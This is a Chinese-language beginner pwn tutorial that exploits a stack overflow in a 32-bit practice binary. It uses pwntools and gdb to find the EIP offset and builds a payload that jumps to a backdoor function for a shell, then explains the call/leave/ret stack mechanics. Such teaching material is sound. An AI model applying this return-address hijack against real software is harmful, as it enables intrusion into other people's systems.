pwn从入门到放弃第五章——最简简简简简简单的栈溢出

现在我们来介绍一下最简单的栈溢出吧

首先先来下载一个程序

pwn_level1

下载完之后,我们用32位的ida打开

反编译看到main函数


这里很明显就有一个栈溢出

我们把程序复制进虚拟机中

然后会显示./pwn_level1: No such file or directory

这是因为我们装的是64位系统,而这个程序是32位的

我们可以执行下面的命令,安装一些东西来运行32位程序

1
apt-get install lib32z1 lib32ncurses5

安装完之后,再运行程序

这样就能正常的运行和调试了

第一步,计算控制程序eip所需要的字符数量

到了这里,需要有一些汇编的基础

这里给下几篇简单入门的教程,不过最好可以系统的学一下,书我推荐王爽的《汇编语言》

X86汇编快速入门

从一段x86汇编程序看计算机是如何工作

看完上面那两个教程之后,我们来计算一下控制程序eip所需要的字符数量

cd 到Desktop,然后输入

1
vim level1.py

对了,这里还需要简单学一下vim的操作

Vim教程

简单学一下基础就可以了,不用学得太深

我们在level1.py里面写入下面的代码

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send(cyclic(0x100))

p.interactive()

保存,然后在terminal下面运行

1
python level1.py

运行之后会出现

在gdb那个窗口下面输入c,然后回车

发现程序停在了这里,这是因为我们栈溢出,控制了eip,eip变成0x65616161,但是这个地址跳转不了

1
print(cyclic_find(0x65616161))

在代码后面加上这句

然后再运行一次,打印出13,看来偏移是13

所以我们只要填充13个字符就能控制到eip了

第二步,跳转到后门

我们在ida里面看到

有一个后门函数,地址是在804849A开始的

我们如果想跳转到这里,只要填充13个字符,再加上p32(0x804849A)就可以了

所以最终的payload是

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

p.send('a'*13+p32(0x804849A))


p.interactive()

运行一下,在运行脚本那个terminal输入ls,可以看到打印了桌面的文件

简单了解一下这样做的原理

我们用gdb调试程序,在80484C4这个地址下个断点

这里是call vulnerable_function

输入r运行

我们可以看下这个时候,ebp和esp的值

再输入s

可以看到esp减少了0x4

而且栈顶现在是0x80484c9,是call vulnerable_function下一条指令的地址

所以我们可以知道

1
call function

等价于

1
2
push eip+x
jmp function

这样做是为了调用完函数之后,能顺利的返回

然后我们看下vulnerable_function函数里面的东西

前3行是将ebp压入栈,然后将当前的esp转移到ebp,再将esp减去0x18

最后三行是将esp加上0x10

1
2
3
4
leave 
=
mov esp,ebp
pop ebp
1
retn = pop eip

然后我们将这个流程用图示来显示

这个是一开始停在call vulnerable_function那里的栈的大概示意图

这个是刚进到函数里面时的情况

这是执行完push ebp后的情况

这个是执行完mov ebp,esp之后

执行完sub esp,0x18后

然后我们可以在gdb调试一下,然后发现执行完add esp,0x10之后,栈的状况又回到了

执行完leave后

执行完ret后

这个是正常的流程,假如我们用cyclic(0x100)来栈溢出呢?

执行完read之后就变成这样了

原本保存ebp和返回地址的地方现在被我们输入的内容给覆盖,这里可能有点画得不准确,大概明白就行

执行leave之后就变成

再执行retn就变成

这个就是为什么我们栈溢出能控制程序eip的原因了

我们只需要把0x65616161替换成我们想跳转的地址,就能跳转到那个地方